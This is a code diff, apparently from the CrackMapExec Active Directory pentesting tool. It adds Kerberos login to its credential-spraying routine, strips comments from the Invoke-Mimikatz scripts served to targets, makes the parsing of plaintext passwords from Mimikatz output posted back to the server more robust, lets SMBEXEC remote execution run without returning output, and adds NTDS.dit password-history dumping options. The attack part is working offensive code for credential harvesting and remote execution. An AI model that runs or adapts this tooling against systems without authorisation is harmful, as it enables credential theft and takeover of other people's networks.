@ -218,5 +233,6 @@ class RemoteShell(cmd.Cmd):
|
||||||
self.execute_remote(data)
|
self.execute_remote(data)
|
||||||
peer = ':'.join(map(str, self.__rpc.get_socket().getpeername()))
|
peer = ':'.join(map(str, self.__rpc.get_socket().getpeername()))
|
||||||
print_succ("{} Executed command via SMBEXEC".format(peer))
|
print_succ("{} Executed command via SMBEXEC".format(peer))
|
||||||
print_att(self.__outputBuffer.strip())
|
if self.__noOutput is False:
|
||||||
|
print_att(self.__outputBuffer.strip())
|
||||||
self.__outputBuffer = ''
|
self.__outputBuffer = ''
|
||||||
|
|
|
@ -10,6 +10,7 @@ import BaseHTTPServer
|
||||||
import ssl
|
import ssl
|
||||||
|
|
||||||
func_name = re.compile('CHANGE_ME_HERE')
|
func_name = re.compile('CHANGE_ME_HERE')
|
||||||
|
comments = re.compile('#.+')
|
||||||
|
|
||||||
class MimikatzServer(BaseHTTPRequestHandler):
|
class MimikatzServer(BaseHTTPRequestHandler):
|
||||||
|
|
||||||
|
@ -23,6 +24,7 @@ class MimikatzServer(BaseHTTPRequestHandler):
|
||||||
with open('hosted/'+ self.path[4:], 'rb') as script:
|
with open('hosted/'+ self.path[4:], 'rb') as script:
|
||||||
ps_script = script.read()
|
ps_script = script.read()
|
||||||
ps_script = func_name.sub(settings.args.obfs_func_name, ps_script)
|
ps_script = func_name.sub(settings.args.obfs_func_name, ps_script)
|
||||||
|
ps_script = comments.sub('', ps_script)
|
||||||
self.wfile.write(ps_script)
|
self.wfile.write(ps_script)
|
||||||
|
|
||||||
elif settings.args.path:
|
elif settings.args.path:
|
||||||
|
@ -43,16 +45,19 @@ class MimikatzServer(BaseHTTPRequestHandler):
|
||||||
data = self.rfile.read(length)
|
data = self.rfile.read(length)
|
||||||
|
|
||||||
if settings.args.mimikatz:
|
if settings.args.mimikatz:
|
||||||
buf = StringIO(data).readlines()
|
try:
|
||||||
i = 0
|
buf = StringIO(data).readlines()
|
||||||
while i < len(buf):
|
i = 0
|
||||||
if ('Password' in buf[i]) and ('(null)' not in buf[i]):
|
while i < len(buf):
|
||||||
passw = buf[i].split(':')[1].strip()
|
if ('Password' in buf[i]) and ('(null)' not in buf[i]):
|
||||||
if len(passw) != 719: #Sometimes mimikatz gives long hexstrings instead of clear text passwords
|
passw = buf[i].split(':')[1].strip()
|
||||||
domain = buf[i-1].split(':')[1].strip()
|
domain = buf[i-1].split(':')[1].strip()
|
||||||
user = buf[i-2].split(':')[1].strip()
|
user = buf[i-2].split(':')[1].strip()
|
||||||
print_succ('{} Found plain text creds! Domain: {} Username: {} Password: {}'.format(self.client_address[0], yellow(domain), yellow(user), yellow(passw)))
|
print_succ('{} Found plain text creds! Domain: {} Username: {} Password: {}'.format(self.client_address[0], yellow(domain), yellow(user), yellow(passw)))
|
||||||
i += 1
|
|
||||||
|
i += 1
|
||||||
|
except Exception as e:
|
||||||
|
print_error("Error while parsing Mimikatz output: {}".format(e))
|
||||||
|
|
||||||
elif settings.args.mimi_cmd:
|
elif settings.args.mimi_cmd:
|
||||||
print data
|
print data
|
||||||
|
|
|
@ -41,7 +41,10 @@ def smart_login(host, smb, domain):
|
||||||
user, passwd = user_pass.split(':')
|
user, passwd = user_pass.split(':')
|
||||||
|
|
||||||
try:
|
try:
|
||||||
smb.login(user, passwd, domain, lmhash, nthash)
|
if settings.args.kerb:
|
||||||
|
smbConnection.kerberosLogin(user, passwd, domain, lmhash, nthash, settings.args.aesKey)
|
||||||
|
else:
|
||||||
|
smb.login(user, passwd, domain, lmhash, nthash)
|
||||||
print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, passwd))
|
print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, passwd))
|
||||||
settings.args.user = user
|
settings.args.user = user
|
||||||
settings.args.passwd = passwd
|
settings.args.passwd = passwd
|
||||||
|
@ -106,7 +109,10 @@ def smart_login(host, smb, domain):
|
||||||
if user == '': user = "''"
|
if user == '': user = "''"
|
||||||
|
|
||||||
try:
|
try:
|
||||||
smb.login(user, '', domain, lmhash, nthash)
|
if settings.args.kerb:
|
||||||
|
smbConnection.kerberosLogin(user, '', domain, lmhash, nthash, settings.args.aesKey)
|
||||||
|
else:
|
||||||
|
smb.login(user, '', domain, lmhash, nthash)
|
||||||
print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, ntlm_hash))
|
print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, ntlm_hash))
|
||||||
settings.args.user = user
|
settings.args.user = user
|
||||||
settings.args.hash = ntlm_hash
|
settings.args.hash = ntlm_hash
|
||||||
|
@ -122,7 +128,10 @@ def smart_login(host, smb, domain):
|
||||||
if passwd == '': passwd = "''"
|
if passwd == '': passwd = "''"
|
||||||
|
|
||||||
try:
|
try:
|
||||||
smb.login(user, passwd, domain)
|
if settings.args.kerb:
|
||||||
|
smbConnection.kerberosLogin(user, passwd, domain, '', '', settings.args.aesKey)
|
||||||
|
else:
|
||||||
|
smb.login(user, passwd, domain)
|
||||||
print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, passwd))
|
print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, passwd))
|
||||||
settings.args.user = user
|
settings.args.user = user
|
||||||
settings.args.passwd = passwd
|
settings.args.passwd = passwd
|
||||||
|
|
|
@ -24,7 +24,7 @@ import sys
|
||||||
import os
|
import os
|
||||||
|
|
||||||
VERSION = '2.0'
|
VERSION = '2.0'
|
||||||
CODENAME = '\'I have to change the name of this thing\''
|
CODENAME = '\'I gotta change the name of this thing\''
|
||||||
|
|
||||||
if sys.platform == 'linux2':
|
if sys.platform == 'linux2':
|
||||||
if os.geteuid() is not 0:
|
if os.geteuid() is not 0:
|
||||||
|
@ -39,23 +39,24 @@ parser = argparse.ArgumentParser(description="""
|
||||||
\______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______|
|
\______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______|
|
||||||
|
|
||||||
|
|
||||||
Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r
|
Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r
|
||||||
|
|
||||||
Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino)
|
Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino)
|
||||||
|
|
||||||
Inspired by:
|
Inspired by:
|
||||||
@ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap
|
@ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap
|
||||||
@gojhonny's CredCrack https://github.com/gojhonny/CredCrack
|
@gojhonny's CredCrack https://github.com/gojhonny/CredCrack
|
||||||
@pentestgeek's smbexec https://github.com/pentestgeek/smbexec
|
@pentestgeek's smbexec https://github.com/pentestgeek/smbexec
|
||||||
{}: {}
|
|
||||||
{}: {}
|
{}: {}
|
||||||
|
{}: {}
|
||||||
""".format(red('Version'),
|
""".format(red('Version'),
|
||||||
yellow(VERSION),
|
yellow(VERSION),
|
||||||
red('Codename'),
|
red('Codename'),
|
||||||
yellow(CODENAME)),
|
yellow(CODENAME)),
|
||||||
|
|
||||||
formatter_class=RawTextHelpFormatter,
|
formatter_class=RawTextHelpFormatter,
|
||||||
version='2.0 - \'{}\''.format(CODENAME),
|
version='2.0 - {}'.format(CODENAME),
|
||||||
epilog='There\'s been an awakening... have you felt it?')
|
epilog='There\'s been an awakening... have you felt it?')
|
||||||
|
|
||||||
parser.add_argument("-t", type=int, dest="threads", default=10, help="Set how many concurrent threads to use (defaults to 10)")
|
parser.add_argument("-t", type=int, dest="threads", default=10, help="Set how many concurrent threads to use (defaults to 10)")
|
||||||
|
@ -65,7 +66,7 @@ parser.add_argument("-H", metavar="HASH", dest='hash', type=str, default=None, h
|
||||||
parser.add_argument("-C", metavar="COMBO_FILE", dest='combo_file', type=str, default=None, help="Combo file containing a list of domain\\username:password or username:password entries")
|
parser.add_argument("-C", metavar="COMBO_FILE", dest='combo_file', type=str, default=None, help="Combo file containing a list of domain\\username:password or username:password entries")
|
||||||
parser.add_argument('-k', action="store", dest='aesKey', metavar="HEX_KEY", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
|
parser.add_argument('-k', action="store", dest='aesKey', metavar="HEX_KEY", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
|
||||||
parser.add_argument("-d", metavar="DOMAIN", dest='domain', default=None, help="Domain name")
|
parser.add_argument("-d", metavar="DOMAIN", dest='domain', default=None, help="Domain name")
|
||||||
parser.add_argument("-n", metavar='NAMESPACE', dest='namespace', default='//./root/cimv2', help='WMI Namespace (default //./root/cimv2)')
|
parser.add_argument("-n", metavar='NAMESPACE', dest='namespace', default='//./root/cimv2', help='WMI Namespace (default: //./root/cimv2)')
|
||||||
parser.add_argument("-s", metavar="SHARE", dest='share', default="C$", help="Specify a share (default: C$)")
|
parser.add_argument("-s", metavar="SHARE", dest='share', default="C$", help="Specify a share (default: C$)")
|
||||||
parser.add_argument('--kerb', action="store_true", dest='kerb', help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters')
|
parser.add_argument('--kerb', action="store_true", dest='kerb', help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters')
|
||||||
parser.add_argument("--port", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
|
parser.add_argument("--port", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
|
||||||
|
@ -78,6 +79,8 @@ rgroup = parser.add_argument_group("Credential Gathering", "Options for gatherin
|
||||||
rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems')
|
rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems')
|
||||||
rgroup.add_argument("--lsa", action='store_true', help='Dump LSA secrets from target systems')
|
rgroup.add_argument("--lsa", action='store_true', help='Dump LSA secrets from target systems')
|
||||||
rgroup.add_argument("--ntds", choices={'vss', 'drsuapi', 'ninja'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)")
|
rgroup.add_argument("--ntds", choices={'vss', 'drsuapi', 'ninja'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)")
|
||||||
|
rgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
|
||||||
|
rgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')
|
||||||
rgroup.add_argument("--mimikatz", action='store_true', help='Run Invoke-Mimikatz (sekurlsa::logonpasswords) on target systems')
|
rgroup.add_argument("--mimikatz", action='store_true', help='Run Invoke-Mimikatz (sekurlsa::logonpasswords) on target systems')
|
||||||
rgroup.add_argument("--mimikatz-cmd", metavar='MIMIKATZ_CMD', help='Run Invoke-Mimikatz with the specified command')
|
rgroup.add_argument("--mimikatz-cmd", metavar='MIMIKATZ_CMD', help='Run Invoke-Mimikatz with the specified command')
|
||||||
rgroup.add_argument("--enable-wdigest", action='store_true', help="Creates the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1")
|
rgroup.add_argument("--enable-wdigest", action='store_true', help="Creates the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1")
|
||||||
|
@ -181,6 +184,11 @@ if args.combo_file and not os.path.exists(args.combo_file):
|
||||||
print_error('Unable to find combo file at specified path')
|
print_error('Unable to find combo file at specified path')
|
||||||
shutdown(1)
|
shutdown(1)
|
||||||
|
|
||||||
|
if args.ntds_history or args.ntds_pwdLastSet:
|
||||||
|
if not args.ntds:
|
||||||
|
print_error('--ntds-history and --ntds-pwdLastSet require --ntds')
|
||||||
|
shutdown(1)
|
||||||
|
|
||||||
################################################################################################################
|
################################################################################################################
|
||||||
|
|
||||||
def get_targets(target):
|
def get_targets(target):
|
||||||
|
|
Loading…
Reference in New Issue